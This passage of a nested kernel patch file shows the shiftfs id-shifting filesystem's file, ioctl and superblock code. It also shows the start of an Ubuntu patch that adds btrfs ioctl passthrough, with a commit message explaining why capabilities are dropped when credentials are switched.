2505 -+ shiftfs_file_accessed(file);
2506 -+
2507 -+ fdput(lowerfd);
2508 -+ return ret;
2509 -+}
2510 -+
2511 -+static ssize_t shiftfs_write_iter(struct kiocb *iocb, struct iov_iter *iter)
2512 -+{
2513 -+ struct file *file = iocb->ki_filp;
2514 -+ struct inode *inode = file_inode(file);
2515 -+ struct fd lowerfd;
2516 -+ const struct cred *oldcred;
2517 -+ ssize_t ret;
2518 -+
2519 -+ if (!iov_iter_count(iter))
2520 -+ return 0;
2521 -+
2522 -+ inode_lock(inode);
2523 -+ /* Update mode */
2524 -+ shiftfs_copyattr(inode->i_private, inode);
2525 -+ ret = file_remove_privs(file);
2526 -+ if (ret)
2527 -+ goto out_unlock;
2528 -+
2529 -+ ret = shiftfs_real_fdget(file, &lowerfd);
2530 -+ if (ret)
2531 -+ goto out_unlock;
2532 -+
2533 -+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
2534 -+ file_start_write(lowerfd.file);
2535 -+ ret = vfs_iter_write(lowerfd.file, iter, &iocb->ki_pos,
2536 -+ shiftfs_iocb_to_rwf(iocb));
2537 -+ file_end_write(lowerfd.file);
2538 -+ revert_creds(oldcred);
2539 -+
2540 -+ /* Update size */
2541 -+ shiftfs_copyattr(inode->i_private, inode);
2542 -+
2543 -+ fdput(lowerfd);
2544 -+
2545 -+out_unlock:
2546 -+ inode_unlock(inode);
2547 -+ return ret;
2548 -+}
2549 -+
2550 -+static int shiftfs_fsync(struct file *file, loff_t start, loff_t end,
2551 -+ int datasync)
2552 -+{
2553 -+ struct fd lowerfd;
2554 -+ const struct cred *oldcred;
2555 -+ int ret;
2556 -+
2557 -+ ret = shiftfs_real_fdget(file, &lowerfd);
2558 -+ if (ret)
2559 -+ return ret;
2560 -+
2561 -+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
2562 -+ ret = vfs_fsync_range(lowerfd.file, start, end, datasync);
2563 -+ revert_creds(oldcred);
2564 -+
2565 -+ fdput(lowerfd);
2566 -+ return ret;
2567 -+}
2568 -+
2569 -+static int shiftfs_mmap(struct file *file, struct vm_area_struct *vma)
2570 -+{
2571 -+ struct shiftfs_file_info *file_info = file->private_data;
2572 -+ struct file *realfile = file_info->realfile;
2573 -+ const struct cred *oldcred;
2574 -+ int ret;
2575 -+
2576 -+ if (!realfile->f_op->mmap)
2577 -+ return -ENODEV;
2578 -+
2579 -+ if (WARN_ON(file != vma->vm_file))
2580 -+ return -EIO;
2581 -+
2582 -+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
2583 -+ vma->vm_file = get_file(realfile);
2584 -+ ret = call_mmap(vma->vm_file, vma);
2585 -+ revert_creds(oldcred);
2586 -+
2587 -+ shiftfs_file_accessed(file);
2588 -+
2589 -+ if (ret)
2590 -+ fput(realfile); /* Drop refcount from new vm_file value */
2591 -+ else
2592 -+ fput(file); /* Drop refcount from previous vm_file value */
2593 -+
2594 -+ return ret;
2595 -+}
2596 -+
2597 -+static long shiftfs_fallocate(struct file *file, int mode, loff_t offset,
2598 -+ loff_t len)
2599 -+{
2600 -+ struct inode *inode = file_inode(file);
2601 -+ struct inode *loweri = inode->i_private;
2602 -+ struct fd lowerfd;
2603 -+ const struct cred *oldcred;
2604 -+ int ret;
2605 -+
2606 -+ ret = shiftfs_real_fdget(file, &lowerfd);
2607 -+ if (ret)
2608 -+ return ret;
2609 -+
2610 -+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
2611 -+ ret = vfs_fallocate(lowerfd.file, mode, offset, len);
2612 -+ revert_creds(oldcred);
2613 -+
2614 -+ /* Update size */
2615 -+ shiftfs_copyattr(loweri, inode);
2616 -+
2617 -+ fdput(lowerfd);
2618 -+ return ret;
2619 -+}
2620 -+
2621 -+static int shiftfs_fadvise(struct file *file, loff_t offset, loff_t len,
2622 -+ int advice)
2623 -+{
2624 -+ struct fd lowerfd;
2625 -+ const struct cred *oldcred;
2626 -+ int ret;
2627 -+
2628 -+ ret = shiftfs_real_fdget(file, &lowerfd);
2629 -+ if (ret)
2630 -+ return ret;
2631 -+
2632 -+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
2633 -+ ret = vfs_fadvise(lowerfd.file, offset, len, advice);
2634 -+ revert_creds(oldcred);
2635 -+
2636 -+ fdput(lowerfd);
2637 -+ return ret;
2638 -+}
2639 -+
2640 -+static int shiftfs_override_ioctl_creds(const struct super_block *sb,
2641 -+ const struct cred **oldcred,
2642 -+ struct cred **newcred)
2643 -+{
2644 -+ kuid_t fsuid = current_fsuid();
2645 -+ kgid_t fsgid = current_fsgid();
2646 -+
2647 -+ *oldcred = shiftfs_override_creds(sb);
2648 -+
2649 -+ *newcred = prepare_creds();
2650 -+ if (!*newcred) {
2651 -+ revert_creds(*oldcred);
2652 -+ return -ENOMEM;
2653 -+ }
2654 -+
2655 -+ (*newcred)->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, fsuid));
2656 -+ (*newcred)->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, fsgid));
2657 -+
2658 -+ /* clear all caps to prevent bypassing capable() checks */
2659 -+ cap_clear((*newcred)->cap_bset);
2660 -+ cap_clear((*newcred)->cap_effective);
2661 -+ cap_clear((*newcred)->cap_inheritable);
2662 -+ cap_clear((*newcred)->cap_permitted);
2663 -+
2664 -+ put_cred(override_creds(*newcred));
2665 -+ return 0;
2666 -+}
2667 -+
2668 -+static inline void shiftfs_revert_ioctl_creds(const struct cred *oldcred,
2669 -+ struct cred *newcred)
2670 -+{
2671 -+ return shiftfs_revert_object_creds(oldcred, newcred);
2672 -+}
2673 -+
2674 -+static long shiftfs_real_ioctl(struct file *file, unsigned int cmd,
2675 -+ unsigned long arg)
2676 -+{
2677 -+ long ret = 0;
2678 -+ struct fd lowerfd;
2679 -+ struct cred *newcred;
2680 -+ const struct cred *oldcred;
2681 -+ struct super_block *sb = file->f_path.dentry->d_sb;
2682 -+
2683 -+ ret = shiftfs_real_fdget(file, &lowerfd);
2684 -+ if (ret)
2685 -+ return ret;
2686 -+
2687 -+ ret = shiftfs_override_ioctl_creds(sb, &oldcred, &newcred);
2688 -+ if (ret)
2689 -+ goto out_fdput;
2690 -+
2691 -+ ret = vfs_ioctl(lowerfd.file, cmd, arg);
2692 -+
2693 -+ shiftfs_revert_ioctl_creds(oldcred, newcred);
2694 -+
2695 -+ shiftfs_copyattr(file_inode(lowerfd.file), file_inode(file));
2696 -+ shiftfs_copyflags(file_inode(lowerfd.file), file_inode(file));
2697 -+
2698 -+out_fdput:
2699 -+ fdput(lowerfd);
2700 -+
2701 -+ return ret;
2702 -+}
2703 -+
2704 -+static long shiftfs_ioctl(struct file *file, unsigned int cmd,
2705 -+ unsigned long arg)
2706 -+{
2707 -+ switch (cmd) {
2708 -+ case FS_IOC_GETVERSION:
2709 -+ /* fall through */
2710 -+ case FS_IOC_GETFLAGS:
2711 -+ /* fall through */
2712 -+ case FS_IOC_SETFLAGS:
2713 -+ break;
2714 -+ default:
2715 -+ return -ENOTTY;
2716 -+ }
2717 -+
2718 -+ return shiftfs_real_ioctl(file, cmd, arg);
2719 -+}
2720 -+
2721 -+static long shiftfs_compat_ioctl(struct file *file, unsigned int cmd,
2722 -+ unsigned long arg)
2723 -+{
2724 -+ switch (cmd) {
2725 -+ case FS_IOC32_GETVERSION:
2726 -+ /* fall through */
2727 -+ case FS_IOC32_GETFLAGS:
2728 -+ /* fall through */
2729 -+ case FS_IOC32_SETFLAGS:
2730 -+ break;
2731 -+ default:
2732 -+ return -ENOIOCTLCMD;
2733 -+ }
2734 -+
2735 -+ return shiftfs_real_ioctl(file, cmd, arg);
2736 -+}
2737 -+
2738 -+enum shiftfs_copyop {
2739 -+ SHIFTFS_COPY,
2740 -+ SHIFTFS_CLONE,
2741 -+ SHIFTFS_DEDUPE,
2742 -+};
2743 -+
2744 -+static ssize_t shiftfs_copyfile(struct file *file_in, loff_t pos_in,
2745 -+ struct file *file_out, loff_t pos_out, u64 len,
2746 -+ unsigned int flags, enum shiftfs_copyop op)
2747 -+{
2748 -+ ssize_t ret;
2749 -+ struct fd real_in, real_out;
2750 -+ const struct cred *oldcred;
2751 -+ struct inode *inode_out = file_inode(file_out);
2752 -+ struct inode *loweri = inode_out->i_private;
2753 -+
2754 -+ ret = shiftfs_real_fdget(file_out, &real_out);
2755 -+ if (ret)
2756 -+ return ret;
2757 -+
2758 -+ ret = shiftfs_real_fdget(file_in, &real_in);
2759 -+ if (ret) {
2760 -+ fdput(real_out);
2761 -+ return ret;
2762 -+ }
2763 -+
2764 -+ oldcred = shiftfs_override_creds(inode_out->i_sb);
2765 -+ switch (op) {
2766 -+ case SHIFTFS_COPY:
2767 -+ ret = vfs_copy_file_range(real_in.file, pos_in, real_out.file,
2768 -+ pos_out, len, flags);
2769 -+ break;
2770 -+
2771 -+ case SHIFTFS_CLONE:
2772 -+ ret = vfs_clone_file_range(real_in.file, pos_in, real_out.file,
2773 -+ pos_out, len, flags);
2774 -+ break;
2775 -+
2776 -+ case SHIFTFS_DEDUPE:
2777 -+ ret = vfs_dedupe_file_range_one(real_in.file, pos_in,
2778 -+ real_out.file, pos_out, len,
2779 -+ flags);
2780 -+ break;
2781 -+ }
2782 -+ revert_creds(oldcred);
2783 -+
2784 -+ /* Update size */
2785 -+ shiftfs_copyattr(loweri, inode_out);
2786 -+
2787 -+ fdput(real_in);
2788 -+ fdput(real_out);
2789 -+
2790 -+ return ret;
2791 -+}
2792 -+
2793 -+static ssize_t shiftfs_copy_file_range(struct file *file_in, loff_t pos_in,
2794 -+ struct file *file_out, loff_t pos_out,
2795 -+ size_t len, unsigned int flags)
2796 -+{
2797 -+ return shiftfs_copyfile(file_in, pos_in, file_out, pos_out, len, flags,
2798 -+ SHIFTFS_COPY);
2799 -+}
2800 -+
2801 -+static loff_t shiftfs_remap_file_range(struct file *file_in, loff_t pos_in,
2802 -+ struct file *file_out, loff_t pos_out,
2803 -+ loff_t len, unsigned int remap_flags)
2804 -+{
2805 -+ enum shiftfs_copyop op;
2806 -+
2807 -+ if (remap_flags & ~(REMAP_FILE_DEDUP | REMAP_FILE_ADVISORY))
2808 -+ return -EINVAL;
2809 -+
2810 -+ if (remap_flags & REMAP_FILE_DEDUP)
2811 -+ op = SHIFTFS_DEDUPE;
2812 -+ else
2813 -+ op = SHIFTFS_CLONE;
2814 -+
2815 -+ return shiftfs_copyfile(file_in, pos_in, file_out, pos_out, len,
2816 -+ remap_flags, op);
2817 -+}
2818 -+
2819 -+static int shiftfs_iterate_shared(struct file *file, struct dir_context *ctx)
2820 -+{
2821 -+ const struct cred *oldcred;
2822 -+ int err = -ENOTDIR;
2823 -+ struct shiftfs_file_info *file_info = file->private_data;
2824 -+ struct file *realfile = file_info->realfile;
2825 -+
2826 -+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
2827 -+ err = iterate_dir(realfile, ctx);
2828 -+ revert_creds(oldcred);
2829 -+
2830 -+ return err;
2831 -+}
2832 -+
2833 -+const struct file_operations shiftfs_file_operations = {
2834 -+ .open = shiftfs_open,
2835 -+ .release = shiftfs_release,
2836 -+ .llseek = shiftfs_llseek,
2837 -+ .read_iter = shiftfs_read_iter,
2838 -+ .write_iter = shiftfs_write_iter,
2839 -+ .fsync = shiftfs_fsync,
2840 -+ .mmap = shiftfs_mmap,
2841 -+ .fallocate = shiftfs_fallocate,
2842 -+ .fadvise = shiftfs_fadvise,
2843 -+ .unlocked_ioctl = shiftfs_ioctl,
2844 -+ .compat_ioctl = shiftfs_compat_ioctl,
2845 -+ .copy_file_range = shiftfs_copy_file_range,
2846 -+ .remap_file_range = shiftfs_remap_file_range,
2847 -+};
2848 -+
2849 -+const struct file_operations shiftfs_dir_operations = {
2850 -+ .compat_ioctl = shiftfs_compat_ioctl,
2851 -+ .fsync = shiftfs_fsync,
2852 -+ .iterate_shared = shiftfs_iterate_shared,
2853 -+ .llseek = shiftfs_llseek,
2854 -+ .open = shiftfs_open,
2855 -+ .read = generic_read_dir,
2856 -+ .release = shiftfs_release,
2857 -+ .unlocked_ioctl = shiftfs_ioctl,
2858 -+};
2859 -+
2860 -+static const struct address_space_operations shiftfs_aops = {
2861 -+ /* For O_DIRECT dentry_open() checks f_mapping->a_ops->direct_IO */
2862 -+ .direct_IO = noop_direct_IO,
2863 -+};
2864 -+
2865 -+static void shiftfs_fill_inode(struct inode *inode, unsigned long ino,
2866 -+ umode_t mode, dev_t dev, struct dentry *dentry)
2867 -+{
2868 -+ struct inode *loweri;
2869 -+
2870 -+ inode->i_ino = ino;
2871 -+ inode->i_flags |= S_NOCMTIME;
2872 -+
2873 -+ mode &= S_IFMT;
2874 -+ inode->i_mode = mode;
2875 -+ switch (mode & S_IFMT) {
2876 -+ case S_IFDIR:
2877 -+ inode->i_op = &shiftfs_dir_inode_operations;
2878 -+ inode->i_fop = &shiftfs_dir_operations;
2879 -+ break;
2880 -+ case S_IFLNK:
2881 -+ inode->i_op = &shiftfs_symlink_inode_operations;
2882 -+ break;
2883 -+ case S_IFREG:
2884 -+ inode->i_op = &shiftfs_file_inode_operations;
2885 -+ inode->i_fop = &shiftfs_file_operations;
2886 -+ inode->i_mapping->a_ops = &shiftfs_aops;
2887 -+ break;
2888 -+ default:
2889 -+ inode->i_op = &shiftfs_special_inode_operations;
2890 -+ init_special_inode(inode, mode, dev);
2891 -+ break;
2892 -+ }
2893 -+
2894 -+ if (!dentry)
2895 -+ return;
2896 -+
2897 -+ loweri = dentry->d_inode;
2898 -+ if (!loweri->i_op->get_link)
2899 -+ inode->i_opflags |= IOP_NOFOLLOW;
2900 -+
2901 -+ shiftfs_copyattr(loweri, inode);
2902 -+ shiftfs_copyflags(loweri, inode);
2903 -+ set_nlink(inode, loweri->i_nlink);
2904 -+}
2905 -+
2906 -+static int shiftfs_show_options(struct seq_file *m, struct dentry *dentry)
2907 -+{
2908 -+ struct super_block *sb = dentry->d_sb;
2909 -+ struct shiftfs_super_info *sbinfo = sb->s_fs_info;
2910 -+
2911 -+ if (sbinfo->mark)
2912 -+ seq_show_option(m, "mark", NULL);
2913 -+
2914 -+ if (sbinfo->passthrough)
2915 -+ seq_printf(m, ",passthrough=%u", sbinfo->passthrough);
2916 -+
2917 -+ return 0;
2918 -+}
2919 -+
2920 -+static int shiftfs_statfs(struct dentry *dentry, struct kstatfs *buf)
2921 -+{
2922 -+ struct super_block *sb = dentry->d_sb;
2923 -+ struct shiftfs_super_info *sbinfo = sb->s_fs_info;
2924 -+ struct dentry *root = sb->s_root;
2925 -+ struct dentry *realroot = root->d_fsdata;
2926 -+ struct path realpath = { .mnt = sbinfo->mnt, .dentry = realroot };
2927 -+ int err;
2928 -+
2929 -+ err = vfs_statfs(&realpath, buf);
2930 - if (err)
2931 -- goto out;
2932 -+ return err;
2933 -
2934 -- /* to mark a mount point, must be real root */
2935 -- if (ssi->mark && !capable(CAP_SYS_ADMIN))
2936 -- goto out;
2937 -+ if (!shiftfs_passthrough_statfs(sbinfo))
2938 -+ buf->f_type = sb->s_magic;
2939 -
2940 -- /* else to mount a mark, must be userns admin */
2941 -- if (!ssi->mark && !ns_capable(current_user_ns(), CAP_SYS_ADMIN))
2942 -- goto out;
2943 -+ return 0;
2944 -+}
2945 -
2946 -- err = kern_path(name, LOOKUP_FOLLOW, &path);
2947 -+static void shiftfs_evict_inode(struct inode *inode)
2948 -+{
2949 -+ struct inode *loweri = inode->i_private;
2950 -+
2951 -+ clear_inode(inode);
2952 -+
2953 -+ if (loweri)
2954 -+ iput(loweri);
2955 -+}
2956 -+
2957 -+static void shiftfs_put_super(struct super_block *sb)
2958 -+{
2959 -+ struct shiftfs_super_info *sbinfo = sb->s_fs_info;
2960 -+
2961 -+ if (sbinfo) {
2962 -+ mntput(sbinfo->mnt);
2963 -+ put_cred(sbinfo->creator_cred);
2964 -+ kfree(sbinfo);
2965 -+ }
2966 -+}
2967 -+
2968 -+static const struct xattr_handler shiftfs_xattr_handler = {
2969 -+ .prefix = "",
2970 -+ .get = shiftfs_xattr_get,
2971 -+ .set = shiftfs_xattr_set,
2972 -+};
2973 -+
2974 -+const struct xattr_handler *shiftfs_xattr_handlers[] = {
2975 -+#ifdef CONFIG_SHIFT_FS_POSIX_ACL
2976 -+ &shiftfs_posix_acl_access_xattr_handler,
2977 -+ &shiftfs_posix_acl_default_xattr_handler,
2978 -+#endif
2979 -+ &shiftfs_xattr_handler,
2980 -+ NULL
2981 -+};
2982 -+
2983 -+static inline bool passthrough_is_subset(int old_flags, int new_flags)
2984 -+{
2985 -+ if ((new_flags & old_flags) != new_flags)
2986 -+ return false;
2987 -+
2988 -+ return true;
2989 -+}
2990 -+
2991 -+static int shiftfs_remount(struct super_block *sb, int *flags, char *data)
2992 -+{
2993 -+ int err;
2994 -+ struct shiftfs_super_info new = {};
2995 -+ struct shiftfs_super_info *info = sb->s_fs_info;
2996 -+
2997 -+ err = shiftfs_parse_mount_options(&new, data);
2998 - if (err)
2999 -- goto out;
3000 -+ return err;
3001 -+
3002 -+ /* Mark mount option cannot be changed. */
3003 -+ if (info->mark || (info->mark != new.mark))
3004 -+ return -EPERM;
3005 -+
3006 -+ if (info->passthrough != new.passthrough) {
3007 -+ /* Don't allow exceeding passthrough options of mark mount. */
3008 -+ if (!passthrough_is_subset(info->info_mark->passthrough,
3009 -+ info->passthrough))
3010 -+ return -EPERM;
3011 -+
3012 -+ info->passthrough = new.passthrough;
3013 -+ }
3014 -+
3015 -+ return 0;
3016 -+}
3017 -
3018 -- err = -EPERM;
3019 -+static const struct super_operations shiftfs_super_ops = {
3020 -+ .put_super = shiftfs_put_super,
3021 -+ .show_options = shiftfs_show_options,
3022 -+ .statfs = shiftfs_statfs,
3023 -+ .remount_fs = shiftfs_remount,
3024 -+ .evict_inode = shiftfs_evict_inode,
3025 -+};
3026 -+
3027 -+struct shiftfs_data {
3028 -+ void *data;
3029 -+ const char *path;
3030 -+};
3031 -+
3032 -+static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
3033 -+ int silent)
3034 -+{
3035 -+ int err;
3036 -+ struct path path = {};
3037 -+ struct shiftfs_super_info *sbinfo_mp;
3038 -+ char *name = NULL;
3039 -+ struct inode *inode = NULL;
3040 -+ struct dentry *dentry = NULL;
3041 -+ struct shiftfs_data *data = raw_data;
3042 -+ struct shiftfs_super_info *sbinfo = NULL;
3043 -+
3044 -+ if (!data->path)
3045 -+ return -EINVAL;
3046 -+
3047 -+ sb->s_fs_info = kzalloc(sizeof(*sbinfo), GFP_KERNEL);
3048 -+ if (!sb->s_fs_info)
3049 -+ return -ENOMEM;
3050 -+ sbinfo = sb->s_fs_info;
3051 -+
3052 -+ err = shiftfs_parse_mount_options(sbinfo, data->data);
3053 -+ if (err)
3054 -+ return err;
3055 -+
3056 -+ /* to mount a mark, must be userns admin */
3057 -+ if (!sbinfo->mark && !ns_capable(current_user_ns(), CAP_SYS_ADMIN))
3058 -+ return -EPERM;
3059 -+
3060 -+ name = kstrdup(data->path, GFP_KERNEL);
3061 -+ if (!name)
3062 -+ return -ENOMEM;
3063 -+
3064 -+ err = kern_path(name, LOOKUP_FOLLOW, &path);
3065 -+ if (err)
3066 -+ goto out_free_name;
3067 -
3068 - if (!S_ISDIR(path.dentry->d_inode->i_mode)) {
3069 - err = -ENOTDIR;
3070 -- goto out_put;
3071 -+ goto out_put_path;
3072 - }
3073 -
3074 -- sb->s_stack_depth = path.dentry->d_sb->s_stack_depth + 1;
3075 -- if (sb->s_stack_depth > FILESYSTEM_MAX_STACK_DEPTH) {
3076 -- printk(KERN_ERR "shiftfs: maximum stacking depth exceeded\n");
3077 -- err = -EINVAL;
3078 -- goto out_put;
3079 -- }
3080 -+ if (sbinfo->mark) {
3081 -+ struct super_block *lower_sb = path.mnt->mnt_sb;
3082 -+
3083 -+ /* to mark a mount point, must root wrt lower s_user_ns */
3084 -+ if (!ns_capable(lower_sb->s_user_ns, CAP_SYS_ADMIN)) {
3085 -+ err = -EPERM;
3086 -+ goto out_put_path;
3087 -+ }
3088 -
3089 -- if (ssi->mark) {
3090 - /*
3091 - * this part is visible unshifted, so make sure no
3092 - * executables that could be used to give suid
3093 - * privileges
3094 - */
3095 - sb->s_iflags = SB_I_NOEXEC;
3096 -- ssi->mnt = path.mnt;
3097 -- dentry = path.dentry;
3098 -- } else {
3099 -- struct shiftfs_super_info *mp_ssi;
3100 -
3101 - /*
3102 -- * this leg executes if we're admin capable in
3103 -- * the namespace, so be very careful
3104 -+ * Handle nesting of shiftfs mounts by referring this mark
3105 -+ * mount back to the original mark mount. This is more
3106 -+ * efficient and alleviates concerns about stack depth.
3107 - */
3108 -+ if (lower_sb->s_magic == SHIFTFS_MAGIC) {
3109 -+ sbinfo_mp = lower_sb->s_fs_info;
3110 -+
3111 -+ /* Doesn't make sense to mark a mark mount */
3112 -+ if (sbinfo_mp->mark) {
3113 -+ err = -EINVAL;
3114 -+ goto out_put_path;
3115 -+ }
3116 -+
3117 -+ if (!passthrough_is_subset(sbinfo_mp->passthrough,
3118 -+ sbinfo->passthrough)) {
3119 -+ err = -EPERM;
3120 -+ goto out_put_path;
3121 -+ }
3122 -+
3123 -+ sbinfo->mnt = mntget(sbinfo_mp->mnt);
3124 -+ dentry = dget(path.dentry->d_fsdata);
3125 -+ } else {
3126 -+ sbinfo->mnt = mntget(path.mnt);
3127 -+ dentry = dget(path.dentry);
3128 -+ }
3129 -+
3130 -+ sbinfo->creator_cred = prepare_creds();
3131 -+ if (!sbinfo->creator_cred) {
3132 -+ err = -ENOMEM;
3133 -+ goto out_put_path;
3134 -+ }
3135 -+ } else {
3136 -+ /*
3137 -+ * This leg executes if we're admin capable in the namespace,
3138 -+ * so be very careful.
3139 -+ */
3140 -+ err = -EPERM;
3141 - if (path.dentry->d_sb->s_magic != SHIFTFS_MAGIC)
3142 -- goto out_put;
3143 -- mp_ssi = path.dentry->d_sb->s_fs_info;
3144 -- if (!mp_ssi->mark)
3145 -- goto out_put;
3146 -- ssi->mnt = mntget(mp_ssi->mnt);
3147 -+ goto out_put_path;
3148 -+
3149 -+ sbinfo_mp = path.dentry->d_sb->s_fs_info;
3150 -+ if (!sbinfo_mp->mark)
3151 -+ goto out_put_path;
3152 -+
3153 -+ if (!passthrough_is_subset(sbinfo_mp->passthrough,
3154 -+ sbinfo->passthrough))
3155 -+ goto out_put_path;
3156 -+
3157 -+ sbinfo->mnt = mntget(sbinfo_mp->mnt);
3158 -+ sbinfo->creator_cred = get_cred(sbinfo_mp->creator_cred);
3159 - dentry = dget(path.dentry->d_fsdata);
3160 -- path_put(&path);
3161 -+ sbinfo->info_mark = sbinfo_mp;
3162 -+ }
3163 -+
3164 -+ sb->s_stack_depth = dentry->d_sb->s_stack_depth + 1;
3165 -+ if (sb->s_stack_depth > FILESYSTEM_MAX_STACK_DEPTH) {
3166 -+ printk(KERN_ERR "shiftfs: maximum stacking depth exceeded\n");
3167 -+ err = -EINVAL;
3168 -+ goto out_put_path;
3169 -+ }
3170 -+
3171 -+ inode = new_inode(sb);
3172 -+ if (!inode) {
3173 -+ err = -ENOMEM;
3174 -+ goto out_put_path;
3175 - }
3176 -- ssi->userns = get_user_ns(dentry->d_sb->s_user_ns);
3177 -- sb->s_fs_info = ssi;
3178 -+ shiftfs_fill_inode(inode, dentry->d_inode->i_ino, S_IFDIR, 0, dentry);
3179 -+
3180 -+ ihold(dentry->d_inode);
3181 -+ inode->i_private = dentry->d_inode;
3182 -+
3183 - sb->s_magic = SHIFTFS_MAGIC;
3184 - sb->s_op = &shiftfs_super_ops;
3185 - sb->s_xattr = shiftfs_xattr_handlers;
3186 - sb->s_d_op = &shiftfs_dentry_ops;
3187 -- sb->s_root = d_make_root(shiftfs_new_inode(sb, S_IFDIR, dentry));
3188 -+ sb->s_flags |= SB_POSIXACL;
3189 -+ sb->s_root = d_make_root(inode);
3190 -+ if (!sb->s_root) {
3191 -+ err = -ENOMEM;
3192 -+ goto out_put_path;
3193 -+ }
3194 -+
3195 - sb->s_root->d_fsdata = dentry;
3196 -+ sbinfo->userns = get_user_ns(dentry->d_sb->s_user_ns);
3197 -+ shiftfs_copyattr(dentry->d_inode, sb->s_root->d_inode);
3198 -
3199 -- return 0;
3200 -+ dentry = NULL;
3201 -+ err = 0;
3202 -
3203 -- out_put:
3204 -+out_put_path:
3205 - path_put(&path);
3206 -- out:
3207 -+
3208 -+out_free_name:
3209 - kfree(name);
3210 -- kfree(ssi);
3211 -+
3212 -+ dput(dentry);
3213 -+
3214 - return err;
3215 - }
3216 -
3217 -@@ -764,17 +1869,26 @@ static struct file_system_type shiftfs_type = {
3218 -
3219 - static int __init shiftfs_init(void)
3220 - {
3221 -+ shiftfs_file_info_cache = kmem_cache_create(
3222 -+ "shiftfs_file_info_cache", sizeof(struct shiftfs_file_info), 0,
3223 -+ SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT | SLAB_MEM_SPREAD, NULL);
3224 -+ if (!shiftfs_file_info_cache)
3225 -+ return -ENOMEM;
3226 -+
3227 - return register_filesystem(&shiftfs_type);
3228 - }
3229 -
3230 - static void __exit shiftfs_exit(void)
3231 - {
3232 - unregister_filesystem(&shiftfs_type);
3233 -+ kmem_cache_destroy(shiftfs_file_info_cache);
3234 - }
3235 -
3236 - MODULE_ALIAS_FS("shiftfs");
3237 - MODULE_AUTHOR("James Bottomley");
3238 --MODULE_DESCRIPTION("uid/gid shifting bind filesystem");
3239 -+MODULE_AUTHOR("Seth Forshee <seth.forshee@×××××××××.com>");
3240 -+MODULE_AUTHOR("Christian Brauner <christian.brauner@××××××.com>");
3241 -+MODULE_DESCRIPTION("id shifting filesystem");
3242 - MODULE_LICENSE("GPL v2");
3243 - module_init(shiftfs_init)
3244 - module_exit(shiftfs_exit)
3245 ---
3246 -2.39.2
3247 -
3248 -From a2e0843dcd21746dfc23df95ab8c93af942fac6b Mon Sep 17 00:00:00 2001
3249 -From: Christian Brauner <christian@×××××××.io>
3250 -Date: Thu, 4 Apr 2019 15:39:13 +0200
3251 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: support some btrfs ioctls
3252 -Cc: mpagano@g.o
3253 -
3254 -BugLink: https://bugs.launchpad.net/bugs/1823186
3255 -
3256 -Shiftfs currently only passes through a few ioctl()s to the underlay. These
3257 -are ioctl()s that are generally considered safe. Doing it for random
3258 -ioctl()s would be a security issue. Permissions for ioctl()s are not
3259 -checked before the filesystem gets involved so if we were to override
3260 -credentials we e.g. could do a btrfs tree search in the underlay which we
3261 -normally wouldn't be allowed to do.
3262 -However, the btrfs filesystem allows unprivileged users to perform various
3263 -operations through its ioctl() interface. With shiftfs these ioctl() are
3264 -currently not working. To not regress users that expect btrfs ioctl()s to
3265 -work in unprivileged containers we can create a whitelist of ioctl()s that
3266 -we allow to go through to the underlay and for which we also switch
3267 -credentials.
3268 -The main problem is how we switch credentials. Since permissions checks for
3269 -ioctl()s are
3270 -done by the actual file system and not by the vfs this would mean that any
3271 -additional capable(<cap>)-based checks done by the filesystem would
3272 -unconditonally pass after we switch credentials. So to make credential
3273 -switching safe we drop *all* capabilities when switching credentials. This
3274 -means that only inode-based permission checks will pass.
3275 -
3276 -Btrfs also allows unprivileged users to delete snapshots when the
3277 -filesystem is mounted with user_subvol_rm_allowed mount option or if the
3278 -the callers is capable(CAP_SYS_ADMIN). The latter should never be the case
3279 -with unprivileged users. To make sure we only allow removal of snapshots in
3280 -the former case we drop all capabilities (see above) when switching
3281 -credentials.
3282 -
3283 -Additonally, btrfs allows the creation of snapshots. To make this work we
3284 -need to be (too) clever. When doing snapshots btrfs requires that an fd to
3285 -the directory the snapshot is supposed to be created in be passed along.
3286 -This fd obviously references a shiftfs file and as such a shiftfs dentry
3287 -and inode. This will cause btrfs to yell EXDEV. To circumnavigate this
3288 -problem we need to silently temporarily replace the passed in fd with an fd
3289 -that refers to a file that references a btrfs dentry and inode.
3290 -
3291 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
3292 -Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
3293 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
3294 -Signed-off-by: Mike Pagano <mpagano@g.o>
3295 ----
3296 - fs/shiftfs.c | 156 +++++++++++++++++++++++++++++++++++++++++++++++++--
3297 - 1 file changed, 151 insertions(+), 5 deletions(-)
3298 -
3299 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
3300 -index ad1ae5bce6c1..678cad30f4a5 100644
3301 ---- a/fs/shiftfs.c
3302 -+++ b/fs/shiftfs.c
3303 -@@ -1,6 +1,8 @@
3304 -+#include <linux/btrfs.h>
3305 - #include <linux/capability.h>
3306 - #include <linux/cred.h>
3307 - #include <linux/mount.h>
3308 -+#include <linux/fdtable.h>
3309 - #include <linux/file.h>
3310 - #include <linux/fs.h>
3311 - #include <linux/namei.h>
3312 -@@ -41,7 +43,21 @@ static void shiftfs_fill_inode(struct inode *inode, unsigned long ino,
3313 -
3314 - #define SHIFTFS_PASSTHROUGH_NONE 0
3315 - #define SHIFTFS_PASSTHROUGH_STAT 1
3316 --#define SHIFTFS_PASSTHROUGH_ALL (SHIFTFS_PASSTHROUGH_STAT)
3317 -+#define SHIFTFS_PASSTHROUGH_IOCTL 2
3318 -+#define SHIFTFS_PASSTHROUGH_ALL \
3319 -+ (SHIFTFS_PASSTHROUGH_STAT | SHIFTFS_PASSTHROUGH_IOCTL)
3320 -+
3321 -+static inline bool shiftfs_passthrough_ioctls(struct shiftfs_super_info *info)
3322 -+{
3323 -+ if (!(info->passthrough & SHIFTFS_PASSTHROUGH_IOCTL))
3324 -+ return false;
3325 -+
3326 -+ if (info->info_mark &&
